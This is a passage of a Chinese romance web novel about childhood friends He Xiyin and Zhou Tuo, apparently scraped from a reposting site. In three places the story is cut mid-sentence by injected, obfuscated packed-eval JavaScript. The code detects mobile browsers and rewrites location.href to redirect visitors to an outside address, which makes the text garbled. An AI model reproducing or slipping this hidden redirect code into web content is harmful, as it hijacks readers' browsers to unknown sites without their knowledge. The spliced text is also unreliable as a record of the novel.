《八块钱买绿豆冰》 1. 楔子 《这个夏天,想去海边》 作者围脖:@今又雨 2025/02/12 本文仅在晋江文学城发表,多次修改,仅以晋江为最终版本。请支持正版,谢谢!感谢喜欢支持本文的每一位正版读者。关于本文有任何问题可私信作者围脖询问。 夏宜市修建地铁,拆迁公告陆续发布。 南浦街在拆迁片区内。‘拆’字一喷,居民陆续搬离。炎炎夏日,十几辆搬家公司的货车沿街停靠,排着长龙。 夏文斌是文学编辑,家里的书成箱成堆。大件家具和细软已搬进新家,唯独这些书不放心让人搬运,怕刮坏,怕乱了顺序。每天下班背包回南浦街,人力搬运。 “希音。你今天还要住这吗?”夏文斌看见房间摆满纸壳箱,但每个箱子都空荡荡的,显然没有想要整理的意思,再次提醒,“下个月的17号是最后期限。” 何希音打开书柜,象征性地往箱子里放进两本书:“还有一个月。我会整理好的。” 夏文斌把新家钥匙留在玄关:“有事打给我和你妈。” 何希音丢掉手里的东西,往后一倒,躺在床上看着天花板发呆。 十二年前,她搬进南浦街时,还很小,不及半张床高。 她是很念旧的人,用过的东西,坏掉也不舍得丢,全都写上日期,放进整理盒。不知不觉,这样的旧物盒堆满柴火间。无论是新房还是未来回迁的新小区都没有柴火间,意味着要丢掉许多东西。 积攒旧物只需写下日期。 丢掉旧物却等于删去一段回忆。 何希音难以抉择,坐在书桌边发呆。 钥匙入孔,大门再被打开。 夏文斌折回来,带回个好消息:“我遇见周拓了。” 何希音倏地抬起头,眼中惊喜却转瞬即逝,被些许哀伤和尴尬代替。她抬手去拿书,以忙碌掩饰不知所措的慌乱。 “他回来收拾东西的吧。”她说。 夏文斌说:“应该是。看他推着行李箱。他们搬走后,我就没见过这孩子了。你们上次高中同学聚会,他去了吗?怎么很少听你提起他?小时候,你俩关系很好的,你总是去他家写作业。” “同学聚会……他好像是去了吧?我……没注意……哎呀,长大了嘛。我俩大学不在一个地方,最近联系不多。”何希音尬笑挠头,暗自祈祷他别再纠结这事,巧妙地转走话题,“我妈让你给他带一份蜜汁叉烧回去。” 何希音指腕表:“去晚可买不到了。” “对对对。”夏文斌匆匆离开。 ~ 晚八点,何希音抱着一箱东西下楼丢弃。刚出楼门就看见月光下一道斜长的身影映在瓷砖地。 那人站在路灯下。 深黑的眼眸,平静得有些漠然,望向她的那刻,她却觉得咸涩的海水从四面八方涌来,从脚底淹到头顶。 谁也没说话。 沉默得让人窒息。 “好久不见。”他先开口。 何希音笑笑,礼貌回复:“好久不见呀。周拓。” “丢东西?”他问。 “是。整理出一些不要的。” “我陪你。”周拓拿过箱子抱着。 “好。” 南浦街在老市区,十几栋居民楼围聚,是个开放式的小区,只有个潦草的大门,常年开着。垃圾站设在街拐角,要走一段不远的路。居民陆续搬离,房子窗户都黑着灯,整条街安静得只剩风声和两人的呼吸。 “下午我遇见你爸了。”说完,他又补充,“我是说夏叔叔。” 何希音应声:“我知道。他也和我说了。” 夏文斌是何希音的继父。当初搬来南浦街时,何乐仪和牧辽还没离婚,牧辽说这这里学区更好,他有个好兄弟住这,以后两家可以互相照应。他说的好兄弟就是周拓的父亲。 “周叔叔最近怎么样?他的新书出版顺利吗?”何希音好奇。 周承安专为儿童书画插画,出版过属于他的童话书。每次去周家,他要么顶着鸡窝头,一脸生无可恋地在书房埋头赶稿,要么满眼星点,站在露台的画板前涂涂写写。用他的话说插画工作是生存,出版童书是梦想。他每天都在纠结的工作和实现梦想的兴奋中反复拉扯。 “顺利。”周拓笑,“牧叔叔还在崇左拍瀑布吗?” “应该吧?”何希音不确定。牧辽是地理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239422|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂志的摄影师,经常出差,以前每去一个地方都会给她寄明信片,何希音没有集邮的爱好,常抱怨纸卡难收藏,牧辽便不再给她寄。 “我前天收到他给我寄的明信片。” “他给你寄却没给我寄!偏心啊!”何希音瘪嘴。 周拓:“你不是说不收集这个吗?” 何希音噎住,许久才哼哼:“我还说我不喜欢收礼物呢。” “难怪他前两天问我,你喜欢什么,如果没给你带礼物你会不高兴吗。” 何希音的嘴翘得更高:“我会。他一定要给我带。” “但是带什么我都会开心的~” “等会回去我就要告诉他我想要什么。” 说完这句,她陷入沉思。 无论她和爸爸说了什么,都有反悔的余地,对周拓却不能这样,一句无心的谎言像无形的屏障隔在两人之间。 口是心非是煮不沸的苦咖啡,在她心头,日日夜夜地熬。 “你什么时候搬走?”周拓再次打破沉默。 “我已经搬走了。”何希音报出新家的地址,“我们上周就搬过去了。我是回来整理杂物的。” “我都不知道。”周拓的黑眸逐渐黯淡,嘴角的笑也染上几分落寞。 多可怕的一句话。 周拓是她最好的朋友,是她的青梅竹马,是她……暗恋的人。 今天的我们为什么会变成这样了呢? 何希音望着他,找不到破局的方法。 夜间航班恰巧在此刻划过两人头顶,轰鸣声由远及近,飞机隐匿在厚重的云层中,看不清,只能勉强瞧见星星点点光亮和一条长长的航迹云。 何希音仰头:“啊。是飞机。” 待轰鸣声远了,她继续往前走,身边人却停在原地。她疑惑地转身,瞧他还站在那,保持着仰头姿势。 “你干嘛呢?” 周拓低头:“我想起第一次见你的场景。” 记忆的箭从他认真的眼眸射-入她心底,按下时光的倒带键。那时候,也是这样晚风微凉的夏夜,他也是这样抱着杂物箱站在她对面,和她听飞机轰鸣。 “何希音。许愿吗?”他问。 2. 沙瓤西瓜 何希音和周拓的相识源于一场误会。 七岁那年的夏天,何希音搬到南浦街。转学手续已办理好,等秋季开学她就要转入南浦小学读二年级。 牧辽说小孩子是记忆只有七秒的金鱼。等夏天过去,她会忘记曾经的小学同学,会认识很多新朋友,不会再哭哭啼啼。 “你骗人!” “爸爸是大骗子!” 何希音关进房间,盯着鱼缸发呆。 金鱼养在blueblue的浴缸里,吞吐寂寞的泡泡,日子是重复的,做的事也是重复的,它不是记不住,是不需要记。 但她不一样。 这一年,她很努力地记下全班同学的名字和模样。 这些引以为傲的东西都要结束在这个夏天。 何乐仪叩门:“音音。” “我不想去南浦小学读书。”何希音对门外喊。 何乐仪为难:“手续都办完了。”听到屋内此起彼伏的哀怨,补充道,“周末妈妈可以带你去以前的同学家玩。你想想,开学你就能认识更多朋友了。别人的小学同学只是一个班,你有两个班,你比他们更厉害。是不是?” 她吓唬:“再不开门,西瓜就给爸爸咯。” “不可以!!”何希音一个箭步,冲去开门,叉起一块放进嘴里,沙瓤西瓜脆甜多汁,瞬间冲刷掉她阴郁的心情,是当之无愧的夏日救星。 她边吃边嘟囔:“不给爸爸吃!” 牧辽双手叉腰,笑得直不起身:“这瓜可是我开车去超市买的。我买的。我切的。我去的籽。”他走近,戳了戳她脑门,“你呀你。真是记仇。” 何希音摆臭脸:“就是记仇!” 牧辽说:“如果这里让你不开心,随时可以转回去。这里的学区比原来的好,转学对你以后升初中有好处。” 初中?这个词对何希音来说太遥远了。牧辽说得如此真诚,她也不好反驳,轻嗯应下,随即竖起小指:“拉钩保证。” 牧辽伸手拉钩,拇指按下去:“盖章。” 他弓背,张嘴凑近:“现在我可以吃了吧?” 何希音叉起一块西瓜,但手往何乐仪的方向举:“不给你。我要给妈妈。” 牧辽戳她脑门:“小气又记仇。” 他说:“收拾一下。我带你去周承安家打个招呼。以后少不了麻烦人家。” 一听要去周承安家,何希音肩胛仿佛生出双翼,满心雀跃,恨不能下秒就飞过去。童话书里的圣诞老人一年才送一次礼,周承安和牧辽是旧友,工作上又多有合作,隔三差五就会带礼物来家里做客,有时候是新版童话书,有时候是限定芭比。 他的口袋一定连接着玩具城。 何希音坚信。 “他儿子在南浦小学。开学你们就是同学了。我带你去认识一下。”牧辽带上礼物,催促何希音。 何希音弯腰穿鞋:“圣诞老人的儿子长什么样呢?” 如果他不像周承安那样温和好相处,那就祈祷他口袋也连接着玩具城。既然是父子,总得有一点相似吧? 何希音的幻想落空。 在周家待了三小时也没见到人。 周拓去体育场跑步,不在家。 但收到周承安送的一盏小夜灯。 — 次日,父母有工作不在家,何希音寄在周家。 插画师可以居家工作,周承安陪她玩了一天,给她做了最喜欢的糖醋排骨。 周拓去少年宫上奥数课,不在家。 两人没见面。 但何希音睡梦中还在嚼排骨。 — 又一日,何希音带礼物去周家回礼。 周承安掏出儿童剧影票问她要不要去? 她不好意思:“周拓呢?” “他不喜欢儿童剧。他今天去同学家了。你……” “我要去!” — 一日又一日。 依然没见到周拓。 但礼物池越积越多。 她开始喜欢南浦街了。她想。 — “见到周拓了吗?”牧辽问。 何希音懵圈:“周拓是谁?” 牧辽好一阵无言,生气又觉着好笑:“你每天去周承安家都在干嘛?” 何希音面不改色:“找周叔叔玩。” 牧辽强调:“我是让你去认识新同学,不是让你去打扰承安工作。” “才不是打扰。”何希音眼尾耷拉以示委屈,下秒就扬起骄傲的脸,“周叔叔说我给他的童话书提供灵感了呢。” 此刻,何乐仪下班,带回两盒桃酥。 牧辽牵起何希音的手:“走。送一盒过去。” 两人到周家时,客厅堆着大大小小的纸壳箱,屋内粉尘飘扬,刚进屋,牧辽呛了一鼻子灰,咳嗽连连。 “你俩在大扫除?”牧辽看着一大一小两张沾满泥灰的脸,眼中满是不可思议,还有些许嫌弃。屋内弄得很乱,要是在大扫除,周承安这活干得也太粗糙了。 周承安解释:“我在找大学时期画的草稿。我记得我画过一个很好的童话故事,当时没想好结尾,没画完。我现在想好了。但找不到草稿了。” “大学?!”牧辽诧异的眼睛瞪得更大,“那可是十二年前的事了。” “是啊。” “那这……够呛能找到。” 牧辽把东西放到厨房,抬手扇开眼前的灰,屋内烟尘四起,灰蒙蒙的,他伸手把何希音拦在门外,自己蹲下帮着翻看画册。 “你没电子备份?” “没有。” “既然记得内容,再重画一份?” “有些细节我记不清了。” 周承安负责找,周拓负责记录。他拿笔写下每个箱子里的东西,再贴在箱子外。 其实箱子都贴有标签,但这些箱子是周承安的精神财产,涉及灵感创意,是他的最高机密。标签上的涂鸦极具个人特色,十分抽象,只有他知道。时间一长,他也看不懂这些鬼画符了。 现在周拓统一标上时间,既不用担心别人看懂,又方便日后查找。 屋内堆满东西,三个人都是侧着身、踮着脚走路,何希音更没处落脚,也帮不上忙,呆站在门口,罚站似的。 周承安拾掇杂物,清理出两袋要丢的:“周拓。你拿楼下去丢。” 牧辽总算记起今天来这的目的,赶忙拉来女儿,引荐道:“这是周拓。开学,他和你一个班。” 周拓的班主任是省优秀教师,他特意把何希音安插进这个班。 明明两个人是父子,面容相似又很不同。 周承安是块润玉,慈眉善目,永远是笑盈盈的,时常让人忘了他的年纪,没进学生堆里也瞧不出分别。周拓的眼角是下垂的,看上去冷冷的,闷闷的。那双黑眸似焚香的乌木,星火散在袅袅烟雾里,一闪,又暗了下去。 “我……”对方眼神淡漠,何希音忽然扭捏起来,“叫何希音。” 牧辽在身后推:“你帮他提一袋。刚搬过来,你还不知道垃圾站在哪,你跟着他去认认路,以后爸爸妈妈不在家,你可要帮着打扫收拾。” 周承安摆手:“都是很轻的东西。他一个人能提。音音跟着去就好。” 一个催着帮忙,一个又说不要。 何希音乱了套,悬停半空的手不知该不该收回。 周拓替她做了决定,侧身开门出去,留下果决的背影。何希音立即跟上,两人并肩走出小区。 傍晚时分,天渐黑,南浦街两侧的商铺人来人往,头顶房屋一户又一户地亮起灯,长街小巷烟火气息浓郁。 周承安常来家里做客,但这是何希音第一次见周拓。 两人不认识,没有共同话题,对方态度冷淡,她也不是健谈的人,试着问了一句‘垃圾站远么?’,对方摇头没说话,她便不再说了,低头跟着继续走。 呼啦—— 飞机恰在此刻飞过两人头顶。这是一架即将降落夏宜市的飞机,机身压低,拨开重重叠叠的云雾,从头顶压过,近得似乎伸手就能碰到。 何希音忽然站定,双手合十,虔诚无比。 周拓拧眉微惑,但不过两秒,就明白了为何。 很快,何希音的话应证了他的猜想:“这是我爸爸告诉我的。他说人类经过数千次实验才达成飞天梦,飞机是先辈汗水与智慧的结晶,可以将你的愿望带上天空告诉流星。” 周承安用类似的话术骗过周拓。 周承安的说法更烂漫些,他说飞机的每一次起升降落都承载着数百人的平安,象征着幸运。看不见流星的日子里,向飞机许的愿也会实现。 但周拓判其为一眼假。 他是这么和周承安说的,也打算这么和何希音说。 “是……”假的。 “咳咳咳。”话未出口,嗓子忽然一阵疼,像被撕裂开,呼吸都是吞刀片,话一句说不出口,两个手提袋并在左手,右手捂着脖颈揉。 何希音伸手:“我拿一袋吧。” 周拓侧身躲开,轻轻摇头,抬手指前面,示意垃圾站马上就到。 何希音耸肩:“好吧。” 去时,一路沉默,回来时,仍是一路沉默。 — 周拓的黑眸微亮,勉强可以算作块焚香的乌木,但他本人简直就是根木头,不爱说话,没有反应,也找不到用处的呆木头!而后几天,何希音去周家,和他搭话,他不是点头摇头,就是浅笑摆手,一个字不肯吐露。 好沉闷的人。 他真是周承安的儿子吗? 为什么父子俩会差这么多呢? 她不懂。 各种稀奇古怪的想法冒出脑袋,只能化成深深叹息。 “唉……” 坐在露台作画的周承安在草稿上画下第二十个正字。 今天他用一套连环画聘用何希音做模特,她只需坐在桌边看书即可。但短短两小时,书页没翻多少,两手捧着沉甸甸的脑袋,无数次叹息。 她每叹息一次,他就在草稿上做标记。 这是她今日的第九十七次叹息。 周承安忍不住好奇:“为转去新学校烦恼?” “不是。” “不要担心。班主任很温柔,班上同学都很好相处的。阿拓和你一个班,你有什么事就找他。” 提到周拓,何希音的八字眉快拧成球了。 她愁的就是这个人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239423|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>牧辽一直说希望两人成为朋友。 可……他好像不喜欢自己。 何希音叹:“周拓不喜欢我。” 这次不是怀疑,是肯定句。 周承安诧异:“你怎么会这样想?”下一秒,他敛笑,怒气值拉满,“这小子欺负你了?” 何希音吓着,忙解释:“不、不是。” “他都不和我说话。我说什么,他只是点头摇头的。”何希音噘嘴,“这不就是不喜欢和我玩吗!” 周承安陡然释怀,即刻雨过天晴,重开笑眼:“不是这样的。” “那是什么样的?”她小小的脑袋盛满疑惑。 周承安低身附耳:“他是哑巴。” 何希音瞪大眼,嘴巴惊得差点掉地。 周承安却没事人似的,没有半点心疼,捏着画笔继续龙飞凤舞:“他对谁都这样。你别多想。他的点头摆手就是回答了。你多和他说话,习惯就好了。” 何希音还是不信:“他真是哑巴?” 周承安点头:“是啊。” “我怎么从没听爸妈提起过。” “可能觉得你认识他就知道了,没有特意说过。” “好吧。” 何希音看向周承安的眼神多了些许同情。 周承安仍笑着:“你别嫌弃他。你和他聊天,叔叔就送你一栋芭比的度假小屋。” “哇。真的吗?!”何希音不好意思地舔唇,“妈妈说这个很贵。” “没关系。你和周拓聊天是帮叔叔的忙。这是你的报酬。” 何希音立刻接下:“保证完成任务!” ~ 当天下午,何希音开启任务线,找周拓聊天,哪怕他回应很少也努力找话题,每说一句,芭比度假屋在她脑子里就具象一些,她噼里啪啦说了好多,根本不在乎周拓回不回应,不在乎他回了什么,只管突突地一通输出,越说越开心,到最后自己哈哈笑了起来。 周拓纠结的眉头从疑惑到惊诧,再到习以为常的麻木。 离开时,何希音高举着手倒退:“周拓拜拜~我明天再来找你噢~” — 暑假结束那天,何希音如愿得到一栋芭比度假屋以及一架飞机模型,周拓亲手制作的,飞机上贴着一串她看不懂的数字。 她收下两份礼物,眼眶温热。 周承安说:“这是你应得的。” “我知道。我是被自己感动了。”何希音吸气,“我的话疗让木头开花啦!我真厉害!” 回到家,得意地向父母展示飞机模型:“看!周拓送我的!” 牧辽:“看吧。我说周拓很好相处的吧。” 何希音瘪嘴,没回答,也没否认。 过了会,她说:“除了他是哑巴不会说话这点……其他就还行吧。” “啊?哑巴?”何乐仪微讶,要开口解释,却被牧辽拉走。听到这两个字就知道是周承安说的,不知道他为什么这么说,但牧辽不想揭穿,只是把何乐仪拉到房间,“估计是承安埋的线。” 何乐仪更不解:“埋的什么?” 牧辽摊手:“不知道。等着看吧。” — 新学期开学,何希音到新班级报道领书。 班主任请她上台作自我介绍。 她不怯场,大方说:“我叫何希音。何仙姑的何。希望的希。音乐的音。希望接下去五年能和大家成为好朋友。” 班级里掌声雷动。 班主任将她安置到倒数第二排,恰好在周拓前桌。 同学们很热情,各种问题砸向她,她也乐于回答。周拓靠在窗边没说话,同桌戳他,他才用平淡如水的语气说:“我认识她。” 这句对何希音比白日惊雷更震撼。 失语片刻,手指颤抖地指着他:“你不是哑巴吗?” 周拓皱眉:“谁和你……”话音未落,立刻反应过来,“我爸说的。” 何希音点头,水灵的黑眸全是小问号:“为什么呢?周叔叔为什么骗人呢?” “开玩笑吧。”周拓耸肩,没多少诧异,似是习惯父亲这种胡说八道的取乐。 随后,他像是想到什么:“我扁桃体发炎了,嗓子很疼,这个暑假都没法说话。” “原来是这样。”何希音似懂非懂地点头。 哑巴是假的,但芭比度假屋和飞机模型都是真的。收到礼物的喜悦冲淡被欺骗的愤怒,而且她不希望周拓是个可怜的哑巴。 她再次道谢:“谢谢你送的飞机模型。但那串数字是什么意思?我看不懂。” 周拓说:“补充那天我没说完的话。” 何希音眯起眼:“什么?” 周拓解释:“那是B737-200的模型机。和我们那天看到的飞机同型号。飞行高度在海拔7000米到12000米之间。而流星通常出现在距地面80到120公里的高空中。” 何希音仍是摇头:“还是不懂。” 周拓戳破:“飞机的限定高度比流星低很多。向飞机许愿是没有用的。” 这句话的摧毁力堪比原-子-弹,多年的信仰被炸得稀碎,有那么一瞬间,她真的希望周拓是个哑巴。 何希音哇地一声哭了。 3. 沙瓤西瓜 飞机无法将她的愿望告诉流星,无异于天塌地陷,世界观的大崩塌引起的连锁反应如山呼海啸,眼泪决堤,一刻也停不得。 她哭得嗓子哑了,脸颊被咸涩的泪水浸得生疼。 班主任安慰半天劝不住眼泪,问周围同学,谁也不明白为什么,纷纷指向周拓。 周拓也是一脸茫然。 两手捧着纸巾,一双黑眸盛满问号,两颊却红到耳尖,焦急又尴尬,他不知道自己说错了什么,不知道她为什么哭得这么厉害。 班主任把两人带到会议室,叫来双方家长。 周拓妈妈蒋素是医生,工作很忙来不了。周承安接到电话,火急火燎地出门,一出门就遇上牧辽和何乐仪。班主任没说清楚事情原由,跟周承安说的是周拓弄哭一个女生。跟何乐仪说的是女儿被同学欺负了。 三个人在车上还在讨论,猜测会不会是有同学欺负何希音,周拓仗义出手,把那个同学弄哭了。 待三人走进会议室却傻眼了。 偌大的桌子,中间坐在严肃的班主任,板着张铁面无私的黑脸。左边是两眼哭成核桃的何希音,右边的周拓低着头。 “那个被他弄哭的同学呢?”周承安左看右瞧,寻觅的眼神要把会议室挖穿了。 班主任却指着左侧说:“周拓把何希音弄哭了。” 三人又是一愣。 周承安忙问:“你和她说什么了?” 周拓摊手:“我说的是事实。向飞机许愿是没有用的。” 何希音又哇了一声,拉着牧辽的衣袖:“爸。你听。我每天和飞机说那么多话都没有用啦!!为什么啊!你为什么骗我啊!” 牧辽摸头,不知道如何解释,手搭在她肩上轻抚安慰。 何乐仪开解:“没有白说。你说出来,说明这些都是你在意的事。有的人稀里糊涂地活了一辈子也不知道自己要什么。你知道要什么,那就有努力的方向了。飞机在为你引路呢。怎么会没用呢。” 何希音听着有道理,不再哭泣。 原来是误会一场,班主任没再追责,说开学第一天没重要的课程,两人回家去休息一天,整理好心情,明日再来学校上课。 可以回家,何希音心情更晴朗,笑容浮现,笑出的褶皱折断两侧泪痕,把书搬上车,兴高采烈地讨论要去哪里玩。 牧辽说:“不行。我和妈妈下午都要工作。你在家好好预习功课。班主任把今天的作业告诉我了。” 周承安说:“让她来我家?” 何乐仪推辞:“不能一直麻烦你呀。” 周承安摆手:“不麻烦。希音有分寸,不会打扰我工作的。就是……”他侧身,拍她肩膀,“你不要生周拓的气,好吗?” 何希音摇头:“我不会。” 周拓看着窗外飞驰的树,疑惑仍挂在心头,他还是不明白何希音情绪崩溃的原由,只是大家不再提,他便不再问。 到周家,周承安进屋画稿,留两人在客厅看书。 何希音倏地坐正,问:“你什么时候知道飞机不能许愿这件事?” 周拓回:“我爸说的时候。” “啊?”何希音不信,“他一说,你就知道?为什么呢?” “周叔叔怎么说的?”她追问。 周拓复述周承安的话。 何希音找不到破绽,挠头喃喃:“和我爸说的差不多呀。飞机会飞,流星也会飞。流星能许愿,飞机为什么不可以啊?” “流星也……”周拓急刹车,咽下后半句。 何希音猜到了:“流星许愿也是假的。对吗?” 周拓问:“我说实话。你会哭吗?” “不会。” “是假的。” “呜——” “说好不哭的。”周拓抽纸。 何希音仰头,眼泪刚才都流干净了,这会再难过也哭不出来,只是嗷呜喊两声以示难过。 “我没哭。”她说。 她捧着脑袋叹气,左边叹一下,右边叹一下:“那和什么东西许愿有用呢?” “什么都没用。”周拓言辞肯定,拿出镜子,放在她的书里,她清秀的瓜子脸顶着一双哭肿的眼睛,像两个豆沙包,蓬松暄软,看上去有些滑稽。 何希音自己都忍不住笑,周拓却没笑,认真说—— “你必须靠自己。” 两个人同龄,可周拓说话一会严肃,一会认真。一个暑假的时间,她没看见他摆弄玩具,房间的书柜放的也不是漫画是练习题。因为要转学,这个暑假没有作业,何希音高兴坏了,来找周拓,发现他乐此不疲地在房间写练习题。 真是怪人。 他一点不像周承安。 她再次感叹。 她问:“你和周叔叔说知道飞机不能许愿这事是假的时候,他说什么了吗?” 周拓沉思片刻,说出个出乎意料的答案—— “他哭了。” 何希音以为听错了:“啊?” 周拓重复一次:“是的。他哭了。” ~ 几年前,周承安给一个飞行员的儿童故事画插画。 在插画下面他写上这两句“飞机的每一次起升降落都承载着数百人的平安,象征着幸运。看不见流星的日子里,向飞机许的愿也会实现。” 流星罕见,而飞机常见。 时刻心怀梦想是他送给孩子们的礼物。 他对这两句鼓励很满意,也用来鼓励周拓。 怎料刚说完,周拓就说:“不可能。” 周承安叉腰:“你向飞机许过愿?你怎么知道不可能?” “如果向飞机许愿有用,为什么你的漫画还是没能出版?” 周拓说这句时,语气如常,仿佛在说‘’1+1=2’这样的验证理论。 周承安却愣住,不知如何回应。 过了好一会,周拓凑近:“爸。你哭了?” 周承安笑着,像温柔老父亲那般摸他的脑袋,扯笑的唇却微微颤动,咬着后槽牙说:“你可真是我的好儿子。” 周拓又问:“那你为什么哭?” “感动的。” “好吧。” 周拓离开房间。周承安立即泄了气,窝在沙发,两手环胸抱着胳膊,一会叹气,一会又咬牙:“我恨。” 蒋素下班,瞧他窝在沙发,满目哀怨。 她问:“怎么了?” 周承安的哀怨劲还没过:“我恨我怎么没生个哑巴。” 蒋素:??? ~ 今天,蒋素下班回来,第一件事就是询问周承安怎么处理学校的事? 周承安说:“是误会。” “周拓没做错事吧?” “……” 周承安犹豫许久:“倒也不是错。” 蒋素:“是大事吗?” “不是。”周承安拍她肩膀,“都解决了。不要担心。” 蒋素刚放下心,又被他叫住。 “你们医院有没有一种要是可以吃下去就让人说不了话。但需要他说话的时候,再喂个解药,他又能说话了。” “有吗?” “当然没有!”蒋素赏了他一个大白眼,“你这脑子都在想什么怪事。” 周承安冤枉至极:“没有赶紧研发一个。” “啊?” “咱儿子需要。” 他十分认真。 然而下一秒就挨了蒋素一记板栗。结结实实地敲在脑门,疼得他龇牙咧嘴,直呼‘再也不敢胡说八道了’。 — 何希音时常怀疑周拓是个机器人。 他的脑子连接着百科全书,可实时查阅,否则怎么能知道那么多课本上没有的知识。 而且…… 哪有人会在假期初始就把作业一口气写完的! 不正常。 很不正常。 她盯着周拓的后脖颈发呆。机器人的操控板都藏在后脖颈,电影里都是这么演的。她眯着眼,不放过一处,仔细查找端倪。 周拓捂住后颈:“你看什么?” 何希音认真:“看你的操控板在哪。” 周拓:??? 何希音盯着他的眼眸,目不转睛的:“周拓,你有没有想过,你可能不是蒋阿姨和周叔叔的儿子。是某个外星人遗留在地球的孩子?或者是某个科学家研发出来的机器人,委托叔叔阿姨检测?” 周拓没回答,从疑惑转为无语,戳她作业本,提醒:“下周期中考。紧接着就是家长会。” “嘶——”何希音背脊冒冷汗,有种不祥的预感,摇头晃出稀奇古怪的想法,拿笔继续写题。 但没两秒,她又问:“你为什么这么爱写题?每次放假,马上就把题写完了。” 问归问,手上的笔一刻不停。 “你为什么这么不爱写题?每次放假要拖到最后再写?”周拓反问。 何希音失语。 因为有想看的卡通片,有要追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239424|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的故事书,有想去的游乐场……周一到周五,她每天都在盼周末,好不容易放假当然要把只有在周末能做的事做完!想做的事那么多,轮到作业就是最后期限了呗。 她在心里回答。 “早写晚写都要写。我习惯早点写完,再心无旁骛地去做其他事。”周拓给出回答,“作业,谈不上喜不喜欢。只是一项必须完成的事。” “好吧。”何希音瘪嘴,尽管他的回答用上‘喜欢’这个极具情感色彩的词,整句话在她听来还是像机器人。 铅笔尖划过纸面,窸窸窣窣的声响,挠得她难受,她余光悄悄瞥向周拓,发现他不知道何时已经翻页了。何希音咬着后牙,略有不满,都是两只眼睛审题,一个脑袋思考,他怎么能写那么快! 她不服气。 深呼吸,全神投入。 写完数学卷,她刚想炫耀,侧目一看,周拓的数学卷已写完,在写语文题了。她气成表情包,两个鼻孔呼出的气都是不甘心的怨气,热乎乎的。 “周拓!你怎么写这么快?!你都写到作文题了?!” “没有。”周拓翻面,阅读题那面空白着,只有前面的默写写完了。 何希音指着空白处:“这些你不写吗?” 周拓说:“看到作文题知道要写什么,就先写完。” “那你刚才的数学也没按顺序写?” “没有。”周拓拿来卷子,用悬空的笔尖圈题,“数学我会先写简单题,再写难题。这样可以保证拿分最大化。” “这又不是考试。只是练习题而已。” “是考试练习。”周拓纠正。 “可恶。”何希音嘴上不饶人,方才的不甘心瞬间消散,“我就说你怎么可能写那么快。你翻页那么快都干扰我写题啦!” 周拓反驳:“谁让你看我的。” “我……”何希音环胸,“哼。” 周拓按下桌面计时器:“一小时。” 他起身去另外一张书桌。 何希音不解:“这是干嘛?” 周拓:“互不打扰。一小时后看谁先写完。” “啊啊啊!!”何希音边喊‘不公平你先动笔了’,边奋笔疾书地写默写。虽然是很无聊的比赛,但她不想输。 一小时倒计时结束,周拓先写完,但何希音也在收尾作文了。 周拓走过来按掉计时器。 “我没有输噢。我就剩一百多字了。我比你晚开始的。”她的笔一刻不停,嘴也一刻不停,碎碎念着。 周拓说:“这不是比赛。只是节约写作业时间的方法。” “啊啊啊!我写完啦!”何希音画上句号。 ‘嘭’—— 他推开阳台门。 潮湿的热风灌进房间。 入秋有段时间了,今早的短暂降雨没有拉低气温,反而迎来一波秋老虎。温湿的空气黏糊糊的,风也缠人。 周拓靠在阳台,一边看腕表,一边抬头望向天空,像是在等什么。 “何希音。过来看。” 何希音懵圈地起身。 远处的轰鸣,忽起的大风。她突然明白了,侧身朝向机场的方向:“是飞机的声音。” “你不是说向飞机许愿没用吗?” “但你看。”周拓一手按在她肩膀,一手贴在她后脑勺,朝机场的方向推,“注意看。” 飞机像往常那样划过两人头顶。 但今天它拖着的是一条彩虹尾。红的、黄的、青的、紫的,彩虹色的斑点一块又一块的拼接在飞机尾部,随着它飞翔的痕迹。 何希音揉眼,又揉眼,再揉眼,像只陀螺,随着飞机的航向旋转,反复确认,才确信看见的是一条彩虹。 “你怎么会知道?!” “不知道。”周拓仍仰着头,“我在赌。” “飞机在云层中飞行时,会排放大量水蒸气,形成飞机云。太阳光通过飞机云时,水滴发生折射和反射会形成类似彩虹的光环效果。” “不是每次飞行都能形成彩虹轨迹。” “今早下过雨,天气热,空气湿润,水蒸气多。” “几率会大一些吧。” 天边的彩虹轨迹还未消去,何希音侧目,他站的位置比她高一些,风吹过他的衣领,而他站在彩虹里。 原来他不止是会学习的机器。 下一秒,他说的话几乎让她泪奔。 周拓说:“用这个作为你不能向飞机许愿的补偿,可以吗?” 4. 沙瓤西瓜 “呜——”何希音揉眼睛,“周拓。我的眼睛酸酸的。” 周拓捧着纸巾:“你又怎么了?” 何希音站上地台,踮脚,伸手去摸他的脑袋,毛茸茸的,暖呼呼的,像小狗的脑袋,她边揉边说:“真感人。如果你是机器人,那一定是科技含量超高的仿真机器人。” “你!竟然!有人类的感情!” 周拓无奈:“那现在高兴了没?” 何希音拼命点头:“高兴!嘻嘻~” 